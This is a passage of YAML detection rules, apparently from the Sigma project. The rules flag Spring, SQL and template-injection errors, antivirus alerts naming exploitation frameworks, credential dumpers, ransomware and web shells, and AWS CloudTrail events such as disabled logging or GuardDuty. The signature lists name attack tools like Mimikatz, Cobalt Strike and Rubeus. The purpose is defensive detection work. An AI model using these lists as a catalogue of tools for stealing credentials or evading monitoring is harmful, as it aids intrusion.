"content": "title: Spring Framework Exceptions\nid: ae48ab93-45f7-4051-9dfe-5d30a3f78e33\nstatus: stable\ndescription: Detects suspicious Spring framework exceptions that could indicate exploitation attempts\nreferences:\n - https://docs.spring.io/spring-security/site/docs/current/api/overview-tree.html\nauthor: Thomas Patzke\ndate: 2017-08-06\nmodified: 2020-09-01\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: spring\ndetection:\n keywords:\n - AccessDeniedException\n - CsrfException\n - InvalidCsrfTokenException\n - MissingCsrfTokenException\n - CookieTheftException\n - InvalidCookieException\n - RequestRejectedException\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: medium\n"
},
{
"path": "rules/application/spring/spring_spel_injection.yml",
"content": "title: Potential SpEL Injection In Spring Framework\nid: e9edd087-89d8-48c9-b0b4-5b9bb10896b8\nstatus: test\ndescription: Detects potential SpEL Injection exploitation, which may lead to RCE.\nreferences:\n - https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: spring\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'org.springframework.expression.ExpressionException'\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: high\n"
},
{
"path": "rules/application/sql/app_sqlinjection_errors.yml",
"content": "title: Suspicious SQL Error Messages\nid: 8a670c6d-7189-4b1c-8017-a417ca84a086\nstatus: test\ndescription: Detects SQL error messages that indicate probing for an injection attack\nreferences:\n - http://www.sqlinjection.net/errors\nauthor: Bjoern Kimminich\ndate: 2017-11-27\nmodified: 2023-02-12\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: sql\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL ERROR and above)'\ndetection:\n keywords:\n # Oracle\n - quoted string not properly terminated\n # MySQL\n - You have an error in your SQL syntax\n # SQL Server\n - Unclosed quotation mark\n # SQLite\n - 'near \"*\": syntax error'\n - SELECTs to the left and right of UNION do not have the same number of result columns\n condition: keywords\nfalsepositives:\n - A syntax error in MySQL also occurs in non-dynamic (safe) queries if there is an empty in() clause, that may often be the case.\nlevel: high\n"
},
{
"path": "rules/application/velocity/velocity_ssti_injection.yml",
"content": "title: Potential Server Side Template Injection In Velocity\nid: 16c86189-b556-4ee8-b4c7-7e350a195a4f\nstatus: test\ndescription: Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.\nreferences:\n - https://antgarsil.github.io/posts/velocity/\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: velocity\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'ParseErrorException'\n - 'VelocityException'\n - 'TemplateInitException'\n condition: keywords\nfalsepositives:\n - Application bugs\n - Missing .vm files\nlevel: high\n"
},
{
"path": "rules/category/antivirus/av_exploiting.yml",
"content": "title: Antivirus Exploitation Framework Detection\nid: 238527ad-3c2c-4e4f-a1f6-92fd63adb864\nstatus: stable\ndescription: |\n Detects a highly relevant Antivirus alert that reports an exploitation framework.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/?s=antivirus\n - https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797\n - https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424\n - https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2018-09-09\nmodified: 2024-11-02\ntags:\n - attack.execution\n - attack.t1203\n - attack.command-and-control\n - attack.t1219.002\nlogsource:\n category: antivirus\ndetection:\n selection:\n Signature|contains:\n - 'Backdoor.Cobalt'\n - 'Brutel'\n - 'BruteR'\n - 'CobaltStr'\n - 'CobaltStrike'\n - 'COBEACON'\n - 'Cometer'\n - 'Exploit.Script.CVE'\n - 'IISExchgSpawnCMD'\n - 'Metasploit'\n - 'Meterpreter'\n - 'MeteTool'\n - 'Mpreter'\n - 'MsfShell'\n - 'PowerSploit'\n - 'Razy'\n - 'Rozena'\n - 'Sbelt'\n - 'Seatbelt'\n - 'Sliver'\n - 'Swrort'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "rules/category/antivirus/av_hacktool.yml",
"content": "title: Antivirus Hacktool Detection\nid: fa0c05b6-8ad3-468d-8231-c1cbccb64fba\nstatus: stable\ndescription: |\n Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/\n - https://www.nextron-systems.com/?s=antivirus\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2021-08-16\nmodified: 2024-11-02\ntags:\n - attack.execution\n - attack.t1204\nlogsource:\n category: antivirus\ndetection:\n selection:\n - Signature|startswith:\n - 'ATK/' # Sophos\n - 'Exploit.Script.CVE'\n - 'HKTL'\n - 'HTOOL'\n - 'PWS.'\n - 'PWSX'\n - 'SecurityTool'\n # - 'FRP.'\n - Signature|contains:\n - 'Adfind'\n - 'Brutel'\n - 'BruteR'\n - 'Cobalt'\n - 'COBEACON'\n - 'Cometer'\n - 'DumpCreds'\n - 'FastReverseProxy'\n - 'Hacktool'\n - 'Havoc'\n - 'Impacket'\n - 'Keylogger'\n - 'Koadic'\n - 'Mimikatz'\n - 'Nighthawk'\n - 'PentestPowerShell'\n - 'Potato'\n - 'PowerSploit'\n - 'PowerSSH'\n - 'PshlSpy'\n - 'PSWTool'\n - 'PWCrack'\n - 'PWDump'\n - 'Rozena'\n - 'Rusthound'\n - 'Sbelt'\n - 'Seatbelt'\n - 'SecurityTool'\n - 'SharpDump'\n - 'SharpHound'\n - 'Shellcode'\n - 'Sliver'\n - 'Snaffler'\n - 'SOAPHound'\n - 'Splinter'\n - 'Swrort'\n - 'TurtleLoader'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/category/antivirus/av_password_dumper.yml",
"content": "title: Antivirus Password Dumper Detection\nid: 78cc2dd2-7d20-4d32-93ff-057084c38b93\nstatus: stable\ndescription: |\n Detects a highly relevant Antivirus alert that reports a password dumper.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/?s=antivirus\n - https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619\n - https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2018-09-09\nmodified: 2024-11-02\ntags:\n - attack.credential-access\n - attack.t1003\n - attack.t1558\n - attack.t1003.001\n - attack.t1003.002\nlogsource:\n category: antivirus\ndetection:\n selection:\n - Signature|startswith: 'PWS'\n - Signature|contains:\n - 'Certify'\n - 'DCSync'\n - 'DumpCreds'\n - 'DumpLsass'\n - 'DumpPert'\n - 'HTool/WCE'\n - 'Kekeo'\n - 'Lazagne'\n - 'LsassDump'\n - 'Mimikatz'\n - 'MultiDump'\n - 'Nanodump'\n - 'NativeDump'\n - 'Outflank'\n - 'PShlSpy'\n - 'PSWTool'\n - 'PWCrack'\n - 'PWDump'\n - 'PWS.'\n - 'PWSX'\n - 'pypykatz'\n - 'Rubeus'\n - 'SafetyKatz'\n - 'SecurityTool'\n - 'SharpChrome'\n - 'SharpDPAPI'\n - 'SharpDump'\n - 'SharpKatz'\n - 'SharpS.' # Sharpsploit, e.g. 530ea2ff9049f5dfdfa0a2e9c27c2e3c0685eb6cbdf85370c20a7bfae49f592d\n - 'ShpKatz'\n - 'TrickDump'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "rules/category/antivirus/av_ransomware.yml",
"content": "title: Antivirus Ransomware Detection\nid: 4c6ca276-d4d0-4a8c-9e4c-d69832f8671f\nstatus: test\ndescription: |\n Detects a highly relevant Antivirus alert that reports ransomware.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/?s=antivirus\n - https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916\n - https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7\n - https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045\n - https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d\n - https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c\n - https://www.virustotal.com/gui/file/6f0f20da34396166df352bf301b3c59ef42b0bc67f52af3d541b0161c47ede05\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2022-05-12\nmodified: 2024-11-02\ntags:\n - attack.t1486\n - attack.impact\nlogsource:\n category: antivirus\ndetection:\n selection:\n Signature|contains:\n - 'BlackWorm'\n - 'Chaos'\n - 'Cobra'\n - 'ContiCrypt'\n - 'Crypter'\n - 'CRYPTES'\n - 'Cryptor'\n - 'CylanCrypt'\n - 'DelShad'\n - 'Destructor'\n - 'Filecoder'\n - 'GandCrab'\n - 'GrandCrab'\n - 'Haperlock'\n - 'Hiddentear'\n - 'HydraCrypt'\n - 'Krypt'\n - 'Lockbit'\n - 'Locker'\n - 'Mallox'\n - 'Phobos'\n - 'Ransom'\n - 'Ryuk'\n - 'Ryzerlo'\n - 'Stopcrypt'\n - 'Tescrypt'\n - 'TeslaCrypt'\n - 'WannaCry'\n - 'Xorist'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "rules/category/antivirus/av_relevant_files.yml",
"content": "title: Antivirus Relevant File Paths Alerts\nid: c9a88268-0047-4824-ba6e-4d81ce0b907c\nstatus: test\ndescription: |\n Detects an Antivirus alert in a highly relevant file path or with a relevant file name.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/?s=antivirus\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2018-09-09\nmodified: 2024-11-02\ntags:\n - attack.resource-development\n - attack.t1588\nlogsource:\n category: antivirus\ndetection:\n selection_path:\n Filename|contains:\n - ':\\PerfLogs\\'\n - ':\\Temp\\'\n - ':\\Users\\Default\\'\n - ':\\Users\\Public\\'\n - ':\\Windows\\'\n - '/www/'\n # - '\\Client\\'\n - '\\inetpub\\'\n - '\\tsclient\\'\n - 'apache'\n - 'nginx'\n - 'tomcat'\n - 'weblogic'\n selection_ext:\n Filename|endswith:\n - '.asax'\n - '.ashx'\n - '.asmx'\n - '.asp'\n - '.aspx'\n - '.bat'\n - '.cfm'\n - '.cgi'\n - '.chm'\n - '.cmd'\n - '.dat'\n - '.ear'\n - '.gif'\n - '.hta'\n - '.jpeg'\n - '.jpg'\n - '.jsp'\n - '.jspx'\n - '.lnk'\n - '.msc'\n - '.php'\n - '.pl'\n - '.png'\n - '.ps1'\n - '.psm1'\n - '.py'\n - '.pyc'\n - '.rb'\n - '.scf'\n - '.sct'\n - '.sh'\n - '.svg'\n - '.txt'\n - '.vbe'\n - '.vbs'\n - '.war'\n - '.wll'\n - '.wsf'\n - '.wsh'\n - '.xll'\n - '.xml'\n condition: 1 of selection_*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/category/antivirus/av_webshell.yml",
"content": "title: Antivirus Web Shell Detection\nid: fdf135a2-9241-4f96-a114-bb404948f736\nstatus: test\ndescription: |\n Detects a highly relevant Antivirus alert that reports a web shell.\n It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches.\n This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.\nreferences:\n - https://www.nextron-systems.com/?s=antivirus\n - https://github.com/tennc/webshell\n - https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection\n - https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection\n - https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection\n - https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection\n - https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection\n - https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection\n - https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection\n - https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection\nauthor: Florian Roth (Nextron Systems), Arnim Rupp\ndate: 2018-09-09\nmodified: 2024-11-02\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n category: antivirus\ndetection:\n selection:\n - Signature|startswith:\n - 'ASP.'\n - 'IIS/BackDoor'\n - 'JAVA/Backdoor'\n - 'JSP.'\n - 'Perl.'\n - 'PHP.'\n - 'Troj/ASP'\n - 'Troj/JSP'\n - 'Troj/PHP'\n - 'VBS/Uxor' # looking for 'VBS/' would also find downloader's and droppers meant for desktops\n - Signature|contains:\n - 'ASP_' # looking for 'VBS_' would also find downloader's and droppers meant for desktops\n - 'ASP:'\n - 'ASP.Agent'\n - 'ASP/'\n # - 'ASP/Agent'\n - 'Aspdoor'\n - 'ASPXSpy'\n - 'Backdoor.ASP'\n - 'Backdoor.Java'\n - 'Backdoor.JSP'\n - 'Backdoor.PHP'\n - 'Backdoor.VBS'\n - 'Backdoor/ASP'\n - 'Backdoor/Java'\n - 'Backdoor/JSP'\n - 'Backdoor/PHP'\n - 'Backdoor/VBS'\n - 'C99shell'\n - 'Chopper'\n - 'filebrowser'\n - 'JSP_'\n - 'JSP:'\n - 'JSP.Agent'\n - 'JSP/'\n # - 'JSP/Agent'\n - 'Perl:'\n - 'Perl/'\n - 'PHP_'\n - 'PHP:'\n - 'PHP.Agent'\n - 'PHP/'\n # - 'PHP/Agent'\n - 'PHPShell'\n - 'PShlSpy'\n - 'SinoChoper'\n - 'Trojan.ASP'\n - 'Trojan.JSP'\n - 'Trojan.PHP'\n - 'Trojan.VBS'\n - 'VBS.Agent'\n - 'VBS/Agent'\n - 'Webshell'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/category/database/db_anomalous_query.yml",
"content": "title: Suspicious SQL Query\nid: d84c0ded-edd7-4123-80ed-348bb3ccc4d5\nstatus: test\ndescription: Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields\nauthor: '@juju4'\ndate: 2022-12-27\nreferences:\n - https://github.com/sqlmapproject/sqlmap\ntags:\n - attack.exfiltration\n - attack.initial-access\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1190\n - attack.t1505.001\nlogsource:\n category: database\n definition: 'Requirements: Must be able to log the SQL queries'\ndetection:\n keywords:\n - 'drop'\n - 'truncate'\n - 'dump'\n - 'select \\*'\n condition: keywords\nfalsepositives:\n - Inventory and monitoring activity\n - Vulnerability scanners\n - Legitimate applications\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_bucket_deleted.yml",
"content": "title: AWS Bucket Deleted\nid: 39c9f26d-6e3b-4dbb-9c7a-4154b0281112\nstatus: experimental\ndescription: |\n Detects the deletion of S3 buckets in AWS CloudTrail logs.\n Monitoring the deletion of S3 buckets is critical for security and data integrity, as it may indicate potential data loss or unauthorized access attempts.\nreferences:\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucket.html\n - https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/delete-bucket.html\nauthor: Ivan Saakov, Nasreddine Bencherchali\ndate: 2025-10-19\ntags:\n - attack.defense-evasion\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_event_name:\n eventName: 'DeleteBucket'\n selection_status_success:\n errorCode: 'Success'\n selection_status_null:\n errorCode: null\n condition: selection_event_name and 1 of selection_status_*\nfalsepositives:\n - During maintenance operations or testing, authorized administrators may delete S3 buckets as part of routine data management or cleanup activities.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_console_login_failed_authentication.yml",
"content": "title: AWS ConsoleLogin Failed Authentication\nid: 6393e346-1977-46ef-8987-ad414a145fad\nstatus: experimental\ndescription: |\n Detects failed AWS console login attempts due to authentication failures. Monitoring these events is crucial for identifying potential brute-force attacks or unauthorized access attempts to AWS accounts.\nreferences:\n - https://naikordian.github.io/blog/posts/brute-force-aws-console/\n - https://help.fortinet.com/fsiem/Public_Resource_Access/7_2_1/rules/PH_RULE_AWS_Management_Console_Brute_Force_of_Root_User_Identity.htm\n - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events.json\nauthor: Ivan Saakov, Nasreddine Bencherchali\ndate: 2025-10-19\ntags:\n - attack.credential-access\n - attack.t1110\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventName: 'ConsoleLogin'\n errorMessage: 'Failed authentication'\n condition: selection\nfalsepositives:\n - Legitimate failed login attempts by authorized users. Investigate the source of repeated failed login attempts.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_console_login_success_without_mfa.yml",
"content": "title: AWS Successful Console Login Without MFA\nid: 77caf516-34e5-4df9-b4db-20744fea0a60\nstatus: experimental\ndescription: |\n Detects successful AWS console logins that were performed without Multi-Factor Authentication (MFA).\n This alert can be used to identify potential unauthorized access attempts, as logging in without MFA can indicate compromised credentials or misconfigured security settings.\nreferences:\n - https://securitylabs.datadoghq.com/cloud-security-atlas/vulnerabilities/iam-user-without-mfa/\n - https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html\nauthor: Thuya@Hacktilizer, Ivan Saakov\ndate: 2025-10-18\nmodified: 2025-10-21\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventName: 'ConsoleLogin'\n additionalEventData.MFAUsed: 'NO'\n responseElements.ConsoleLogin: 'Success'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_disable_logging.yml",
"content": "title: AWS CloudTrail Important Change\nid: 4db60cc0-36fb-42b7-9b58-a5b53019fb74\nstatus: test\ndescription: Detects disabling, deleting and updating of a Trail\nreferences:\n - https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html\nauthor: vitaliy0x1\ndate: 2020-01-21\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1562.008\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: cloudtrail.amazonaws.com\n eventName:\n - StopLogging\n - UpdateTrail\n - DeleteTrail\n condition: selection_source\nfalsepositives:\n - Valid change in a Trail\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_guardduty_detector_deleted_or_updated.yml",
"content": "title: AWS GuardDuty Detector Deleted Or Updated\nid: d2656e78-c069-4571-8220-9e0ab5913f19\nstatus: experimental\ndescription: |\n Detects successful deletion or disabling of an AWS GuardDuty detector, possibly by an attacker trying to avoid detection of its malicious activities.\n Upon deletion, GuardDuty stops monitoring the environment and all existing findings are lost.\n Verify with the user identity that this activity is legitimate.\nreferences:\n - https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html\n - https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateDetector.html\n - https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_suspend-disable.html\n - https://docs.datadoghq.com/security/default_rules/719-39f-9cd/\n - https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/ensure-aws-guardduty-detector-is-enabled\n - https://docs.stellarcyber.ai/5.2.x/Using/ML/Alert-Rule-Based-Potentially_Malicious_AWS_Activity.html\n - https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Amazon%20Web%20Services/Analytic%20Rules/AWS_GuardDutyDisabled.yaml\n - https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml\n - https://help.fortinet.com/fsiem/Public_Resource_Access/7_4_0/rules/PH_RULE_AWS_GuardDuty_Detector_Deletion.htm\n - https://research.splunk.com/sources/5d8bd475-c8bc-4447-b27f-efa508728b90/\n - https://suktech24.com/2025/07/17/aws-threat-detection-rule-guardduty-detector-disabled-or-suspended/\n - https://www.atomicredteam.io/atomic-red-team/atomics/T156001#atomic-test-46---aws---guardduty-suspension-or-deletion\nauthor: suktech24\ndate: 2025-11-27\ntags:\n - attack.defense-evasion\n - attack.t1562.001\n - attack.t1562.008\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_event_source:\n eventSource: 'guardduty.amazonaws.com'\n selection_action_delete:\n eventName: 'DeleteDetector'\n selection_action_update:\n eventName: 'UpdateDetector'\n requestParameters.enable: 'false'\n selection_status_success:\n errorCode: 'Success'\n selection_status_null:\n errorCode: null\n condition: selection_event_source and 1 of selection_action_* and 1 of selection_status_*\nfalsepositives:\n - Legitimate detector deletion by an admin (e.g., during account decommissioning).\n - Temporary disablement for troubleshooting (verify via change management tickets).\n - Automated deployment tools (e.g. Terraform) managing GuardDuty state.\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_imds_malicious_usage.yml",
"content": "title: Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure\nid: 352a918a-34d8-4882-8470-44830c507aa3\nstatus: test\ndescription: |\n Detects when an instance identity has taken an action that isn't inside SSM.\n This can indicate that a compromised EC2 instance is being used as a pivot point.\nreferences:\n - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html\n - https://ermetic.com/blog/aws/aws-ec2-imds-what-you-need-to-know/\n - https://www.packetmischief.ca/2023/07/31/amazon-ec2-credential-exfiltration-how-it-happens-and-how-to-mitigate-it/#lifting-credentials-from-imds-this-is-why-we-cant-have-nice-things\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.initial-access\n - attack.persistence\n - attack.t1078\n - attack.t1078.002\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n userIdentity.arn|re: '.+:assumed-role/aws:.+'\n filter_main_generic:\n - eventSource: 'ssm.amazonaws.com'\n - eventName: 'RegisterManagedInstance'\n - sourceIPAddress: 'AWS Internal'\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - A team has configured an EC2 instance to use instance profiles that grant the option for the EC2 instance to talk to other AWS Services\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_new_acl_entries.yml",
"content": "title: New Network ACL Entry Added\nid: e1f7febb-7b94-4234-b5c6-00fb8500f5dd\nstatus: test\ndescription: |\n Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.\nreferences:\n - https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.defense-evasion\n - attack.t1562.007\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ec2.amazonaws.com'\n eventName: 'CreateNetworkAclEntry'\n condition: selection\nfalsepositives:\n - Legitimate use of ACLs to enable customer and staff access from the public internet into a public VPC\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_new_route_added.yml",
"content": "title: New Network Route Added\nid: c803b2ce-c4a2-4836-beae-b112010390b1\nstatus: test\ndescription: |\n Detects the addition of a new network route to a route table in AWS.\nreferences:\n - https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.defense-evasion\n - attack.t1562.007\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ec2.amazonaws.com'\n eventName: 'CreateRoute'\n condition: selection\nfalsepositives:\n - New VPC Creation requiring setup of a new route table\n - New subnets added requiring routing setup\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_pua_trufflehog.yml",
"content": "title: PUA - AWS TruffleHog Execution\nid: a840e606-7c8c-4684-9bc1-eb6b6155127f\nstatus: experimental\ndescription: |\n Detects the execution of TruffleHog, a popular open-source tool used for scanning repositories for secrets and sensitive information, within an AWS environment.\n It has been reported to be used by threat actors for credential harvesting. All detections should be investigated to determine if the usage is authorized by security teams or potentially malicious.\nreferences:\n - https://github.com/trufflesecurity/trufflehog\n - https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\ndate: 2025-10-21\ntags:\n - attack.credential-access\n - attack.t1555\n - attack.t1003\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n userAgent: 'TruffleHog'\n condition: selection\nfalsepositives:\n - Legitimate use of TruffleHog by security teams for credential scanning.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_region_enabled.yml",
"content": "title: AWS EnableRegion Command Monitoring\nid: a5ffb6ea-c784-4e01-b30a-deb6e58ca2ab\nstatus: experimental\ndescription: |\n Detects the use of the EnableRegion command in AWS CloudTrail logs.\n While AWS has 30+ regions, some of them are enabled by default, others must be explicitly enabled in each account separately.\n There may be situations where security monitoring does not cover some new AWS regions.\n Monitoring the EnableRegion command is important for identifying potential persistence mechanisms employed by adversaries, as enabling additional regions can facilitate continued access and operations within an AWS environment.\nreferences:\n - https://docs.aws.amazon.com/accounts/latest/reference/API_EnableRegion.html\n - https://awscli.amazonaws.com/v2/documentation/api/2.14.0/reference/account/enable-region.html\nauthor: Ivan Saakov, Sergey Zelenskiy\ndate: 2025-10-19\ntags:\n - attack.persistence\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventName: 'EnableRegion'\n eventSource: 'account.amazonaws.com'\n condition: selection\nfalsepositives:\n - Legitimate use of the EnableRegion command by authorized administrators.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_ingress_egress.yml",
"content": "title: Ingress/Egress Security Group Modification\nid: 6fb77778-040f-4015-9440-572aa9b6b580\nstatus: test\ndescription: |\n Detects when an account makes changes to the ingress or egress rules of a security group.\n This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.\nreferences:\n - https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ec2.amazonaws.com'\n eventName:\n - 'AuthorizeSecurityGroupEgress'\n - 'AuthorizeSecurityGroupIngress'\n - 'RevokeSecurityGroupEgress'\n - 'RevokeSecurityGroupIngress'\n condition: selection\nfalsepositives:\n - New VPCs and Subnets being setup requiring a different security profile to those already defined\n - A single port being opened for a new service that is known to be deploying\n - Administrators closing unused ports to reduce the attack surface\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_loadbalancer.yml",
"content": "title: LoadBalancer Security Group Modification\nid: 7a4409fc-f8ca-45f6-8006-127d779eaad9\nstatus: test\ndescription: |\n Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB).\n This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.\nreferences:\n - https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'elasticloadbalancing.amazonaws.com'\n eventName:\n - 'ApplySecurityGroupsToLoadBalancer'\n - 'SetSecurityGroups'\n condition: selection\nfalsepositives:\n - Repurposing of an ELB or ALB to serve a different or additional application\n - Changes to security groups to allow for new services to be deployed\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_rds.yml",
